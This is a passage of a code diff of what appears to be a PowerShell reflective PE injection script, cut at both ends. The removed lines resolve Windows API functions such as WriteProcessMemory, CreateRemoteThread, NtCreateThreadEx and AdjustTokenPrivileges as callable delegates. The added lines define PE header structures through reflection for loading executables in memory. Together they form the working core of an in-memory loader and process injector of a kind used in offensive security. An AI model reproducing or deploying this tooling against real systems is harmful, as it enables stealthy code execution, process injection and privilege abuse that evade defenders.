-Value $memset - - $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA - $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) - $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary - - $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress - $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) - $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress - - $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress - $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) - $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal - - $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree - $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree - - $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx - $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx - - $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect - $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect - - $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA - $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) - $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) - $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle - - $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) - $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary - - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess - - $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject - $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) - $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject - - $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory - $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) - $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory - - $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory - $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) - $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory - - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread - $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread - - $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread - $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) - $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread - - $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken - $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) - $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken - - $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread - $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) - $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread - - $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges - $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) - $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges - - $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA - $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) - $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue - - $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf - $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) - $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf - - $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx - $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) - $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx - - $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process - $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) - $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process - - $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread - $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) - $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread - - return $Win32Functions - } - ##################################### + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 